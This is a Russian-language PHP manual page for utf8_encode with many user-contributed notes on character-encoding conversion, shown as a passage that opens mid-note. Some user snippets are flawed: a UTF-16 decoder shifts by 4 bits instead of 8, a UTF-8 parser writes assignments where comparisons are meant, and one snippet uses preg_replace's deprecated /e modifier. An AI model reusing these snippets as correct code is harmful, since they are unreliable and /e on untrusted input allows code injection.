 return preg_replace($search, $replace, utf2ascii($url));
}

function utf2ascii($string) {
 $iso88591  = "\\xE0\\xE1\\xE2\\xE3\\xE4\\xE5\\xE6\\xE7";
 $iso88591 .= "\\xE8\\xE9\\xEA\\xEB\\xEC\\xED\\xEE\\xEF";
 $iso88591 .= "\\xF0\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF7";
 $iso88591 .= "\\xF8\\xF9\\xFA\\xFB\\xFC\\xFD\\xFE\\xFF";
 $ascii = "aaaaaaaceeeeiiiidnooooooouuuuyyy";
 return strtr(mb_strtolower(utf8_decode($string), 'ISO-8859-1'),$iso88591,$ascii);
}

echo urlize("Fucking ?m?l");

?>

I hope this helps someone.
php-net at ---NOSPAM---lc dot yi dot org 08-Dec-2005 12:04
I've just created this code snippet to improve the user-customizable emails sent by one of my websites.

The goal was to use UTF-8 (Unicode) so that non-english users have all the Unicode benefits, BUT also make life seamless for English (or specifically, English MS-Outlook users).  The niggle: Outlook prior to 2003 (?)  does not properly detect unicode emails.  When "smart quotes" from MS Word were pasted into a rich text area and saved in Unicode, then sent by email to an Outlook user, more often than not, these characters were wrongly rendered as "greek".

So, the following code snippet replaces a few strategic characters into html entities which Outlook XP (and possibly earlier) will render as expected.  [Code based on bits of code from previous posts on this and the htmlenties page]
<?php
    $badwordchars=array(
        "\xe2\x80\x98", // left single quote
        "\xe2\x80\x99", // right single quote
        "\xe2\x80\x9c", // left double quote
        "\xe2\x80\x9d", // right double quote
        "\xe2\x80\x94", // em dash
        "\xe2\x80\xa6" // elipses
    );
    $fixedwordchars=array(
        "&#8216;",
        "&#8217;",
        '&#8220;',
        '&#8221;',
        '&mdash;',
        '&#8230;'
    );
    $html=str_replace($badwordchars,$fixedwordchars,$html);
?>
yannikh at gmeil dot com 07-Dec-2005 11:34
I had to tackle a very interesting problem:

I wanted to replace all \xXX in a text by it's letters. Unfortunatelly XX were ASCII and not utf8. I solved my problem that way:
<?php preg_replace ('/\\\\x([0-9a-fA-F]{2})/e', "pack('H*',utf8_decode('\\1'))",$v); ?>
thierry.bo # netcourrier point com 30-Sep-2005 12:38
In response to fhoech (22-Sep-2005 11:55), I just tried a simultaneous test with the file UTF-8-test.txt using your regexp, 'j dot dittmer' (20-Sep-2005 06:30) regexp (message #56962), `php-note-2005` (17-Feb-2005 08:57) regexp in his message on `mb-detect-encoding` page (http://us3.php.net/manual/en/function.mb-detect-encoding.php#50087) who is using a regexp from the W3C (http://w3.org/International/questions/qa-forms-utf-8.html), and PHP mb_detect_encoding function.

Here are a summarize of the results :

201 lines are valid UTF8 strings using phpnote regexp
203 lines are valid UTF8 strings using j.dittmer regexp
200 lines are valid UTF8 strings using fhoech regexp
239 lines are valid  UTF8 strings using using mb_detect_encoding

Here are the lines with differences (left to right, phpnote, j.dittmer and fhoech) :

Line #70 : NOT UTF8|IS UTF8!|IS UTF8! :2.1.1 1 byte (U-00000000): ""
Line #79 : NOT UTF8|IS UTF8!|IS UTF8! :2.2.1 1 byte (U-0000007F): ""
Line #81 : IS UTF8!|IS UTF8!|NOT UTF8 :2.2.3 3 bytes (U-0000FFFF): "&#65535;" |
Line #267 : IS UTF8!|IS UTF8!|NOT UTF8 :5.3.1 U+FFFE = ef bf be = "&#65534;" |
Line #268 : IS UTF8!|IS UTF8!|NOT UTF8 :5.3.2 U+FFFF = ef bf bf = "&#65535;" |

Interesting is that you said that your regexp corrected j.dittmer regexp that failed on 5.3 section, but it my test I have the opposite result ?!

I ran this test on windows XP with PHP 4.3.11dev. Maybe these differences come from operating system, or PHP version.

For mb_detect_encoding I used the command :

mb_detect_encoding($line, 'UTF-8, ISO-8859-1, ASCII');
fhoech 22-Sep-2005 10:55
Sorry, I had a typo in my last comment. Corrected regexp:

^([\\x00-\\x7f]|
[\\xc2-\\xdf][\\x80-\\xbf]|
\\xe0[\\xa0-\\xbf][\\x80-\\xbf]|
[\\xe1-\\xec][\\x80-\\xbf]{2}|
\\xed[\\x80-\\x9f][\\x80-\\xbf]|
\\xef[\\x80-\\xbf][\\x80-\\xbd]|
\\xee[\\x80-\\xbf]{2}|
\xf0[\\x90-\\xbf][\\x80-\\xbf]{2}|
[\\xf1-\\xf3][\\x80-\\xbf]{3}|
\\xf4[\\x80-\\x8f][\\x80-\\xbf]{2})*$
fhoech 22-Sep-2005 10:12
JF Sebastian's regex is almost perfect as far as I'm concerned. I found one error (it failed section 5.3 "Other illegal code positions" from http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt) which I corrected as follows:

^([\\x00-\\x7f]|
[\\xc2-\\xdf][\\x80-\\xbf]|
\\xe0[\\xa0-\\xbf][\\x80-\\xbf]|
[\\xe1-\\xec][\\x80-\\xbf]{2}|
\\xed[\\x80-\\x9f][\\x80-\\xbf]|
\\xef[\\x80-\\xbf][\\x80-\\xbc]|
\\xee[\\x80-\\xbf]{2}|
\\xf0[\\x90-\\xbf][\\x80-\\xbf]{2}|
[\\xf1-\\xf3][\\x80-\\xbf]{3}|
\\xf4[\\x80-\\x8f][\\x80-\\xbf]{2})*$

(Again, concatenate to one single line to make it work)
j dot dittmer at portrix dot net 20-Sep-2005 05:30
The regex in the last comment has some typos. This is a
syntactically valid one, don't know if it's correct though.
You've to concat the expression in one long line.

^(
[\x00-\x7f]|
[\xc2-\xdf][\x80-\xbf]|
[\xe0][\xa0-\xbf][\x80-\xbf]|
[\xe1-\xec][\x80-\xbf]{2}|
[\xed][\x80-\x9f][\x80-\xbf]|
[\xee-\xef][\x80-\xbf]{2}|
[\xf0][\x90-\xbf][\x80-\xbf]{2}|
[\xf1-\xf3][\x80-\xbf]{3}|
[\xf4][\x80-\x8f][\x80-\xbf]{2}
)*$
rasmus at flajm dot se 19-Jan-2005 02:57
If you don't have the multibyte extension installed, here's a function to decode UTF-16 encoded strings. It support both BOM-less and BOM'ed strings, (big- and little-endian byte order.)

<?php
/**
 * Decode UTF-16 encoded strings.
 *
 * Can handle both BOM'ed data and un-BOM'ed data.
 * Assumes Big-Endian byte order if no BOM is available.
 *
 * @param   string  $str  UTF-16 encoded data to decode.
 * @return  string  UTF-8 / ISO encoded data.
 * @access  public
 * @version 0.1 / 2005-01-19
 * @author  Rasmus Andersson {@link http://rasmusandersson.se/}
 * @package Groupies
 */
function utf16_decode( $str ) {
    if( strlen($str) < 2 ) return $str;
    $bom_be = true;
    $c0 = ord($str{0});
    $c1 = ord($str{1});
    if( $c0 == 0xfe && $c1 == 0xff ) { $str = substr($str,2); }
    elseif( $c0 == 0xff && $c1 == 0xfe ) { $str = substr($str,2); $bom_be = false; }
    $len = strlen($str);
    $newstr = '';
    for($i=0;$i<$len;$i+=2) {
        if( $bom_be ) { $val = ord($str{$i})   << 4; $val += ord($str{$i+1}); }
        else {        $val = ord($str{$i+1}) << 4; $val += ord($str{$i}); }
        $newstr .= ($val == 0x228) ? "\n" : chr($val);
    }
    return $newstr;
}
?>
Aidan Kehoe <php-manual at parhasard dot net> 31-Jan-2004 05:35
The fastest way I've found to check if something is valid UTF-8 is
<?php
if (iconv('UTF-8', 'UTF-8', $input) != $input) {
        /* It's not UTF-8--for me, it's probably CP1252, the Windows
           version of Latin 1, with directed quotation marks and
           the Euro sign.  */
}
 ?>.
The iconv() C library fails if it's told a string is UTF-8 and it isn't; the PHP one doesn't, it just returns the conversion up to the point of failure, so you have to compare the result to the input to find out if the conversion succeeded.
gto at interia dot pl 25-Nov-2003 07:12
Correction to function converting utf82iso88592 and iso88592tutf8.
Janusz forgot about "&#324;", and "&#380;" exchanged from "&#378;" here and there.

GTo

function utf82iso88592($tekscik) {
     $tekscik = str_replace("\xC4\x85", "&#261;", $tekscik);
     $tekscik = str_replace("\xC4\x84", '&#260;', $tekscik);
     $tekscik = str_replace("\xC4\x87", '&#263;', $tekscik);
     $tekscik = str_replace("\xC4\x86", '&#262;', $tekscik);
     $tekscik = str_replace("\xC4\x99", '&#281;', $tekscik);
     $tekscik = str_replace("\xC4\x98", '&#280;', $tekscik);
     $tekscik = str_replace("\xC5\x82", '&#322;', $tekscik);
     $tekscik = str_replace("\xC5\x81", '&#321;', $tekscik);
     $tekscik = str_replace("\xC5\x84", '&#324;', $tekscik);
     $tekscik = str_replace("\xC5\x83", '&#323;', $tekscik);
     $tekscik = str_replace("\xC3\xB3", '?', $tekscik);
     $tekscik = str_replace("\xC3\x93", '?', $tekscik);
     $tekscik = str_replace("\xC5\x9B", '&#347;', $tekscik);
     $tekscik = str_replace("\xC5\x9A", '&#346;', $tekscik);
     $tekscik = str_replace("\xC5\xBC", '&#380;', $tekscik);
     $tekscik = str_replace("\xC5\xBB", '&#379;', $tekscik);
     $tekscik = str_replace("\xC5\xBA", '&#378;', $tekscik);
     $tekscik = str_replace("\xC5\xB9", '&#377;', $tekscik);
     return $tekscik;
} // utf82iso88592

function iso885922utf8($tekscik) {
     $tekscik = str_replace("&#261;", "\xC4\x85", $tekscik);
     $tekscik = str_replace('&#260;', "\xC4\x84", $tekscik);
     $tekscik = str_replace('&#263;', "\xC4\x87", $tekscik);
     $tekscik = str_replace('&#262;', "\xC4\x86", $tekscik);
     $tekscik = str_replace('&#281;', "\xC4\x99", $tekscik);
     $tekscik = str_replace('&#280;', "\xC4\x98", $tekscik);
     $tekscik = str_replace('&#322;', "\xC5\x82", $tekscik);
     $tekscik = str_replace('&#321;', "\xC5\x81", $tekscik);
     $tekscik = str_replace('&#324;', "\xC5\x84", $tekscik);
     $tekscik = str_replace('&#323;',"\xC5\x83", $tekscik);
     $tekscik = str_replace('?', "\xC3\xB3", $tekscik);
     $tekscik = str_replace('?', "\xC3\x93", $tekscik);
     $tekscik = str_replace('&#347;', "\xC5\x9B", $tekscik);
     $tekscik = str_replace('&#346;', "\xC5\x9A", $tekscik);
     $tekscik = str_replace('&#380;', "\xC5\xBC", $tekscik);
     $tekscik = str_replace('&#379;', "\xC5\xBB", $tekscik);
     $tekscik = str_replace('&#378;', "\xC5\xBA", $tekscik);
     $tekscik = str_replace('&#377;', "\xC5\xB9", $tekscik);
     return $tekscik;
} // iso885922utf8


Преобразовывает строку из ISO-8859-1 в UTF-8

  • « utf8_decode
  • vfprintf »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает строку из ISO-8859-1 в UTF-8

utf8_encode

(PHP 4, PHP 5, PHP 7, PHP 8)

utf8_encode — Преобразовывает строку из ISO-8859-1 в UTF-8

Внимание

Функция объявлена УСТАРЕВШЕЙ начиная с PHP 8.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

utf8_encode(string $string): string

Функция преобразовывает строку string из кодировки ISO-8859-1 в кодировку UTF-8.

Замечание:

Функция не пытается угадать текущую кодировку предоставленной строки, а предполагает, что она закодирована в ISO-8859-1 (также известная как "Latin 1") и преобразует её в UTF-8. Поскольку каждая последовательность байтов является корректной строкой ISO-8859-1, это никогда не приводит к ошибке, но не приведёт к получению полезной строки, если предполагалась другая кодировка.

Многие веб-страницы, отмеченные как использующие кодировку ISO-8859-1, на самом деле используют схожую кодировку Windows-1252, и веб-браузеры интерпретируют страницы ISO-8859-1 как Windows-1252. Однако Windows-1252 содержит дополнительные печатные символы, такие как знак Евро (€) и фигурные кавычки (" ") вместо управляющих кодов ISO-8859-1. Эта функция не конвертирует такие символы Windows-1252 корректно. Используйте другую функцию, если нужна конвертация из Windows-1252.

Список параметров

string

Строка ISO-8859-1.

Возвращаемые значения

Возвращает строку string, преобразованную в кодировку в UTF-8.

Список изменений

Версия | Описание
8.2.0 | This function has been deprecated.
7.2.0 | Функция была перенесена из модуля XML в ядро PHP. В предыдущих версиях она была доступна только при установленном модуле XML.

Примеры

Пример #1 Простой пример

<?php
// Преобразование строки 'Zoe' из ISO 8859-1 в UTF-8
$iso8859_1_string = "\x5A\x6F\xEB";
$utf8_string = utf8_encode($iso8859_1_string);
echo bin2hex($utf8_string), "\n";
?>

Результат выполнения приведённого примера:

5a6fc3ab

Примечания

Замечание: Устаревание и альтернативы

Функция устарела, начиная с PHP 8.2.0 и будет удалена в будущей версии. Существующие варианты использования должны быть проверены и заменены подходящими альтернативами.

Аналогичной функциональности можно достичь с помощью функции mb_convert_encoding(), которая поддерживает ISO-8859-1 и многие другие кодировки символов.

<?php
$iso8859_1_string = "\xEB"; // 'e' (e с диерезисом) в UTF-8
$utf8_string = mb_convert_encoding($iso8859_1_string, 'UTF-8', 'ISO-8859-1');
echo bin2hex($utf8_string), "\n";

$iso8859_7_string = "\xEB"; // та же строка в ISO-8859-7 представляет собой '?' (греческая строчная лямбда)
$utf8_string = mb_convert_encoding($iso8859_7_string, 'UTF-8', 'ISO-8859-7');
echo bin2hex($utf8_string), "\n";

$windows_1252_string = "\x80"; // '€' (Знак евро) в Windows-1252, но не в ISO-8859-1
$utf8_string = mb_convert_encoding($windows_1252_string, 'UTF-8', 'Windows-1252');
echo bin2hex($utf8_string), "\n";
?>

Результат выполнения приведённого примера:

c3ab
cebb
e282ac

Другие опции, которые могут быть доступны в зависимости от установленных модулей: UConverter::transcode() и iconv().

Все следующие варианты дают один и тот же результат:

<?php
$iso8859_1_string = "\x5A\x6F\xEB"; // 'Zoe' в ISO-8859-1

$utf8_string = utf8_encode($iso8859_1_string);
echo bin2hex($utf8_string), "\n";

$utf8_string = mb_convert_encoding($iso8859_1_string, 'UTF-8', 'ISO-8859-1');
echo bin2hex($utf8_string), "\n";

$utf8_string = UConverter::transcode($iso8859_1_string, 'UTF8', 'ISO-8859-1');
echo bin2hex($utf8_string), "\n";

$utf8_string = iconv('ISO-8859-1', 'UTF-8', $iso8859_1_string);
echo bin2hex($utf8_string), "\n";
?>

Результат выполнения приведённого примера:

5a6fc3ab
5a6fc3ab
5a6fc3ab
5a6fc3ab

Смотрите также

  • utf8_decode() - Преобразовывает строку из кодировки UTF-8 в кодировку ISO-8859-1, заменяя недопустимые или непредставимые символы
  • mb_convert_encoding() - Преобразовывает строку из одной кодировки символов в другую
  • UConverter::transcode() - Преобразовывает строку из одной кодировки символов в другую
  • iconv() - Преобразовывает строку из одной кодировки символов в другую

User Contributed Notes

Allan 07-Mar-2023 08:47
I suppose that from PHP 8.2 we need to use <?php iconv('ISO-8859-1', 'UTF-8', $string) ?> instead.
rattones at gmail dot com 18-Feb-2021 03:08
/**
 * Convert all values of an array to utf8_encode
 * @author Marcelo Ratton
 * @version 1.0
 *
 * @param  array  $arr   array to encode values
 * @param  bool   $keys  true to convert keys to UTF8
 * @return array  same   array but with all values encoded to UTF8
 */
function arrayEncodeToUTF8(array $arr, bool $keys= false) : array {
  $ret= [];
  foreach ($arr as $k=>$v) {
    if (is_array($v)) {
      $ret[$k]= arrayEncodeToUTF8($v);
    } else {
      if ($keys) {
        $k= utf8_encode((string)$k);
      }
      $ret[$k]= utf8_encode((string)$v);
    }
  }

  return $ret;
}
Pini 16-Nov-2015 03:14
My version of utf8_encode_deep,
In case you need one that returns a value without changing the original.

        /**
        * Convert Anything To UTF-8
        * @param mixed $var The variable you want to convert.
        * @param boolean $deep Deep convertion? (*Default: TRUE).
        * @return mixed
        */
        function anything_to_utf8($var,$deep=TRUE){
            if(is_array($var)){
                foreach($var as $key => $value){
                    if($deep){
                        $var[$key] = anything_to_utf8($value,$deep);
                    }elseif(!is_array($value) && !is_object($value) && !mb_detect_encoding($value,'utf-8',true)){
                         $var[$key] = utf8_encode($var);
                    }
                }
                return $var;
            }elseif(is_object($var)){
                foreach($var as $key => $value){
                    if($deep){
                        $var->$key = anything_to_utf8($value,$deep);
                    }elseif(!is_array($value) && !is_object($value) && !mb_detect_encoding($value,'utf-8',true)){
                         $var->$key = utf8_encode($var);
                    }
                }
                return $var;
            }else{
                return (!mb_detect_encoding($var,'utf-8',true))?utf8_encode($var):$var;
            }
        }
a dot rueedlinger at gmail dot com 22-Jun-2013 01:06
If you need a function which converts a string array into a utf8 encoded string array then this function might be useful for you:

<?php
function utf8_string_array_encode(&$array){
    $func = function(&$value,&$key){
        if(is_string($value)){
            $value = utf8_encode($value);
        }
        if(is_string($key)){
            $key = utf8_encode($key);
        }
        if(is_array($value)){
            utf8_string_array_encode($value);
        }
    };
    array_walk($array,$func);
    return $array;
}
?>
Oscar Broman 06-Sep-2012 11:15
Walk through nested arrays/objects and utf8 encode all strings.

<?php
// Usage
class Foo {
    public $somevar = 'whoop whoop';
}

$structure = array(
    'object' => (object) array(
        'entry' => 'hello world',
        'another_array' => array(
            'string',
            1234,
            'another string'
        )
    ),
    'string' => 'foo',
    'foo_object' => new Foo
);

utf8_encode_deep($structure);

// $structure is now utf8 encoded
print_r($structure);

// The function
function utf8_encode_deep(&$input) {
    if (is_string($input)) {
        $input = utf8_encode($input);
    } else if (is_array($input)) {
        foreach ($input as &$value) {
            utf8_encode_deep($value);
        }

        unset($value);
    } else if (is_object($input)) {
        $vars = array_keys(get_object_vars($input));

        foreach ($vars as $var) {
            utf8_encode_deep($input->$var);
        }
    }
}
?>
deceze at gmail dot com 14-Jul-2011 06:51
Please note that utf8_encode only converts a string encoded in ISO-8859-1 to UTF-8. A more appropriate name for it would be "iso88591_to_utf8". If your text is not encoded in  ISO-8859-1, you do not need this function. If your text is already in UTF-8, you do not need this function. In fact, applying this function to text that is not encoded in ISO-8859-1 will most likely simply garble that text.

If you need to convert text from any encoding to any other encoding, look at iconv() instead.
powtac 4t gmx d0t de 11-Feb-2011 01:11
I tried a lot of things, but this seems to be the final fail save method to convert any string to proper UTF-8.

<?php
function _convert($content) {
    if(!mb_check_encoding($content, 'UTF-8')
        OR !($content === mb_convert_encoding(mb_convert_encoding($content, 'UTF-32', 'UTF-8' ), 'UTF-8', 'UTF-32'))) {

        $content = mb_convert_encoding($content, 'UTF-8');

        if (mb_check_encoding($content, 'UTF-8')) {
            // log('Converted to UTF-8');
        } else {
            // log('Could not converted to UTF-8');
        }
    }
    return $content;
}
?>
Yumok 15-Sep-2010 04:26
Avoiding use of preg_match to detect if utf8_encode is needed:

<?php
                $string = $string_input; // avoid being destructive

                $string = preg_replace("#[\x09\x0A\x0D\x20-\x7E]#"        ,"",$string);         // ASCII
                $string = preg_replace("#[\xC2-\xDF][\x80-\xBF]#"            ,"",$string);             // non-overlong 2-byte
                $string = preg_replace("#\xE0[\xA0-\xBF][\x80-\xBF]#"    ,"",$string);     // excluding overlongs
                $string = preg_replace("#[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}#","",$string);     // straight 3-byte
                $string = preg_replace("#\xED[\x80-\x9F][\x80-\xBF]#"    ,"",$string);     // excluding surrogates
                $string = preg_replace("#\xF0[\x90-\xBF][\x80-\xBF]{2}#","",$string);     // planes 1-3
                $string = preg_replace("#[\xF1-\xF3][\x80-\xBF]{3}#"    ,"",$string);     //  planes 4-15
                $string = preg_replace("#\xF4[\x80-\x8F][\x80-\xBF]{2}#","",$string);     // plane 16

                $rc = ($string == ""?true:false);
?>
rogeriogirodo at gmail dot com 19-Mar-2009 04:24
This function may be useful do encode array keys and values [and checks first to see if it's already in UTF format]:

<?php
public static function to_utf8($in)
{
        if (is_array($in)) {
            foreach ($in as $key => $value) {
                $out[to_utf8($key)] = to_utf8($value);
            }
        } elseif(is_string($in)) {
            if(mb_detect_encoding($in) != "UTF-8")
                return utf8_encode($in);
            else
                return $in;
        } else {
            return $in;
        }
        return $out;
}
?>

Hope this may help.

[NOTE BY danbrown AT php DOT net: Original function written by (cmyk777 AT gmail DOT com) on 28-JAN-09.]
www.tricinty.com 11-Jun-2008 03:43
<?php
    /**
    * Encodes an ISO-8859-1 mixed variable to UTF-8 (PHP 4, PHP 5 compat)
    * @param    mixed    $input An array, associative or simple
    * @param    boolean  $encode_keys optional
    * @return    mixed     ( utf-8 encoded $input)
    */

    function utf8_encode_mix($input, $encode_keys=false)
    {
        if(is_array($input))
        {
            $result = array();
            foreach($input as $k => $v)
            {
                $key = ($encode_keys)? utf8_encode($k) : $k;
                $result[$key] = utf8_encode_mix( $v, $encode_keys);
            }
        }
        else
        {
            $result = utf8_encode($input);
        }

        return $result;
    }
?>
emze at donazga dot net 17-Dec-2006 09:42
/*
Every function seen so far is incomplete or resource consumpting. Here are two -- integer 2 utf sequence (i3u) and utf sequence to integer (u3i). Below is a code snippet that checks well behavior at the range boundaries.

Someday they might be hardcoded into PHP...
*/

function i3u($i) { // returns UCS-16 or UCS-32 to UTF-8 from an integer
  $i=(int)$i; // integer?
  if ($i<0) return false; // positive?
  if ($i<=0x7f) return chr($i); // range 0
  if (($i & 0x7fffffff) <> $i) return '?'; // 31 bit?
  if ($i<=0x7ff) return chr(0xc0 | ($i >> 6)) . chr(0x80 | ($i & 0x3f));
  if ($i<=0xffff) return chr(0xe0 | ($i >> 12)) . chr(0x80 | ($i >> 6) & 0x3f)
      . chr(0x80  | $i & 0x3f);
  if ($i<=0x1fffff) return chr(0xf0 | ($i >> 18)) . chr(0x80 | ($i >> 12) & 0x3f)
      . chr(0x80 | ($i >> 6) & 0x3f) . chr(0x80  | $i & 0x3f);
  if ($i<=0x3ffffff) return chr(0xf8 | ($i >> 24)) . chr(0x80 | ($i >> 18) & 0x3f)
      . chr(0x80 | ($i >> 12) & 0x3f) . chr(0x80 | ($i >> 6) & 0x3f) . chr(0x80  | $i & 0x3f);
  return chr(0xfc | ($i >> 30)) . chr(0x80 | ($i >> 24) & 0x3f) . chr(0x80 | ($i >> 18) & 0x3f)
      . chr(0x80 | ($i >> 12) & 0x3f) . chr(0x80 | ($i >> 6) & 0x3f) . chr(0x80  | $i & 0x3f);
}

function u3i($s,$strict=1) { // returns integer on valid UTF-8 seq, NULL on empty, else FALSE
  // NOT strict: takes only DATA bits, present or not; strict: length and bits checking
  if ($s=='') return NULL;
  $l=strlen($s); $o=ord($s{0});
  if ($o <= 0x7f && $l==1) return $o;
  if ($l>6 && $strict) return false;
  if ($strict) for ($i=1;$i<$l;$i++) if (ord($s{$i}) > 0xbf || ord($s{$i})< 0x80) return false;
  if ($o < 0xc2) return false; // no-go even if strict=0
  if ($o <= 0xdf && ($l=2 && $strict)) return (($o & 0x1f) << 6 | (ord($s{1}) & 0x3f));
  if ($o <= 0xef && ($l=3 && $strict)) return (($o & 0x0f) << 12 | (ord($s{1}) & 0x3f) << 6
     |  (ord($s{2}) & 0x3f));
  if ($o <= 0xf7 && ($l=4 && $strict)) return (($o & 0x07) << 18 | (ord($s{1}) & 0x3f) << 12
     | (ord($s{2}) & 0x3f) << 6 |  (ord($s{3}) & 0x3f));
  if ($o <= 0xfb && ($l=5 && $strict)) return (($o & 0x03) << 24 | (ord($s{1}) & 0x3f) << 18
     | (ord($s{2}) & 0x3f) << 12 | (ord($s{3}) & 0x3f) << 6 |  (ord($s{4}) & 0x3f));
  if ($o <= 0xfd && ($l=6 && $strict)) return (($o & 0x01) << 30 | (ord($s{1}) & 0x3f) << 24
     | (ord($s{2}) & 0x3f) << 18 | (ord($s{3}) & 0x3f) << 12
     | (ord($s{4}) & 0x3f) << 6 |  (ord($s{5}) & 0x3f));
  return false;
}

// boundary behavior checking
$do=array(0x7f,0x7ff,0xffff,0x1fffff,0x3ffffff,0x7fffffff);
foreach ($do as $ii) for ($i=$ii;$i<=$ii+1; $i++) {
  $o=i3u($i);
  for ($j=0;$j<strlen($o);$j++) print "O[$j]=" . sprintf('%08b',ord($o{$j})) . ", ";
  print "c=$i, o=[$o].\n";
  print "Back: [$o] => [" . u3i($o) . "]\n";
}
rocketman 16-Mar-2006 04:46
If you are looking for a function to replace special characters with the hex-utf-8 value (e.g. fur Webservice-Security/WSS4J compliancy) you might use this:

$textstart = "Gro?e";
$utf8 ='';
$max = strlen($txt);

for ($i = 0; $i < $max; $i++) {

if ($txt{i} == "&"){
$neu = "&x26;";
}
elseif ((ord($txt{$i}) < 32) or (ord($txt{$i}) > 127)){
$neu = urlencode(utf8_encode($txt{$i}));
$neu = preg_replace('#\%(..)\%(..)\%(..)#','&#x\1;&#x\2;&#x\3;',$neu);
$neu = preg_replace('#\%(..)\%(..)#','&#x\1;&#x\2;',$neu);
$neu = preg_replace('#\%(..)#','&#x\1;',$neu);
}
else {
$neu = $txt{$i};
}

$utf8 .= $neu;
} // for $i

$textnew = $utf8;

In this example $textnew will be "Gr&#xC3;&#xB6;&#xC3;&#x9F;e"
mailing at jcn50 dot com 20-Jan-2006 10:40
I recommend using this alternative for every language:

$new=mb_convert_encoding($s,"UTF-8","auto");

Don't forget to set all your pages to "utf-8" encoding, otherwise just use HTML entities.

jcn50.
04-Nov-2005 02:34
// Reads a file story.txt ascii (as typed on keyboard)
// converts it to Georgian character using utf8 encoding
// if I am correct(?) just as it should be when typed on Georgian computer
// it outputs it as an html file
//
// http://www.comweb.nl/keys_to_georgian.html
// http://www.comweb.nl/keys_to_georgian.php
// http://www.comweb.nl/story.txt

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<HTML>
<HEAD>
<TITLE>keys to unicode code</TITLE>

// this meta tag is needed
<meta http-equiv="Content-Type" content="text/html;CHARSET=Windows-1251" >

// note the sylfean font seems to be standard installed on Windows XP
// It supports Georgian

<style TYPE="text/css">
<!--
body {font-family:sylfaen; }
-->
</style>
</HEAD>

<BODY>

<?
$eng=array(97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,
112,113,114,115,116,117,118,119,120,121,122,87,82,84,83,
67,74,90);
$geo=array(4304,4305,4330,4307,4308,4324,4306,4336,4312,4335,4313,
4314,4315,4316,4317,4318,4325,4320,4321,4322,4323,4309,
4332,4334,4327,4310,4333,4326,4311,4328,4329,4319,4331,
91,93,59,39,44,46,96);

$fc=file("story.txt");
foreach($fc as $line)
{
   $spacestart=1;
   for ($i=0; $i<strlen($line); $i+=1)
   {
      $character=ord(substr($line,$i,1));
      $found=0;
      for ($k=0; $k<count($eng); $k+=1)
      {
         if ($eng[$k]==$character)
         {
             print code2utf( $geo[$k] );
             $found=1;
         }
      }
      if ($found==0)
      {
         if ($character==126 || $character==32 || $character==10 || $character==9)
         {
            if ($character==9)  { print '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'; }
            if ($character==10) { print "<BR>\n"; }
            if ($character==32)
            {
               if ($spacestart==1) {print '&nbsp;'; } else { print " "; }
            }
            if ($character==126){ print "~";      }
         } else
         {
            print substr($line,$i,1);
         }
      }
      if ($character!=32) { $spacestart=0; }
   }
}

/**
 * Function coverts number of utf char into that character.
 * Function taken from: http://sk2.php.net/manual/en/function.utf8-encode.php#49336
 *
 * @param int $num
 * @return utf8char
*/
function code2utf($num)
{
   if($num<128)return chr($num);
   if($num<2048)return chr(($num>>6)+192).chr(($num&63)+128);
   if($num<65536)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
   if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
   return '';
}
?>

</BODY>
</HTML>
Janci 04-Nov-2005 04:00
I was searching for a function similar to Javascript's unescape(). In most cases it is OK to use url_decode() function but not if you've got UTF characters in the strings. They are converted into %uXXXX entities that url_decode() cannot handle.
I googled the net and found a function which actualy converts these entities into HTML entities (&#xxx;) that your browser can show correctly. If you're OK with that, the function can be found here: http://pure-essence.net/stuff/code/utf8RawUrlDecode.phps

But it was not OK with me because I needed a string in my charset to make some comparations and other stuff. So I have modified the above function and in conjuction with code2utf() function mentioned in some other note here, I have managed to achieve my goal:

<?php
/**
 * Function converts an Javascript escaped string back into a string with specified charset (default is UTF-8).
 * Modified function from http://pure-essence.net/stuff/code/utf8RawUrlDecode.phps
 *
 * @param string $source escaped with Javascript's escape() function
 * @param string $iconv_to destination character set will be used as second paramether in the iconv function. Default is UTF-8.
 * @return string
 */
function unescape($source, $iconv_to = 'UTF-8') {
    $decodedStr = '';
    $pos = 0;
    $len = strlen ($source);
    while ($pos < $len) {
        $charAt = substr ($source, $pos, 1);
        if ($charAt == '%') {
            $pos++;
            $charAt = substr ($source, $pos, 1);
            if ($charAt == 'u') {
                // we got a unicode character
                $pos++;
                $unicodeHexVal = substr ($source, $pos, 4);
                $unicode = hexdec ($unicodeHexVal);
                $decodedStr .= code2utf($unicode);
                $pos += 4;
            }
            else {
                // we have an escaped ascii character
                $hexVal = substr ($source, $pos, 2);
                $decodedStr .= chr (hexdec ($hexVal));
                $pos += 2;
            }
        }
        else {
            $decodedStr .= $charAt;
            $pos++;
        }
    }

    if ($iconv_to != "UTF-8") {
        $decodedStr = iconv("UTF-8", $iconv_to, $decodedStr);
    }

    return $decodedStr;
}

/**
 * Function coverts number of utf char into that character.
 * Function taken from: http://sk2.php.net/manual/en/function.utf8-encode.php#49336
 *
 * @param int $num
 * @return utf8char
 */
function code2utf($num){
    if($num<128)return chr($num);
    if($num<2048)return chr(($num>>6)+192).chr(($num&63)+128);
    if($num<65536)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
    if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
    return '';
}
?>
suttichai at ceforce dot com 28-May-2005 12:26
This function I use convert Thai font (iso-8859-11) to UTF-8. For my case, It work properly. Please try to use this function if you have a problem to convert charset iso-8859-11 to UTF-8.

function iso8859_11toUTF8($string) {

     if ( ! ereg("[\241-\377]", $string) )
         return $string;

     $iso8859_11 = array(
"\xa1" => "\xe0\xb8\x81",
"\xa2" => "\xe0\xb8\x82",
"\xa3" => "\xe0\xb8\x83",
"\xa4" => "\xe0\xb8\x84",
"\xa5" => "\xe0\xb8\x85",
"\xa6" => "\xe0\xb8\x86",
"\xa7" => "\xe0\xb8\x87",
"\xa8" => "\xe0\xb8\x88",
"\xa9" => "\xe0\xb8\x89",
"\xaa" => "\xe0\xb8\x8a",
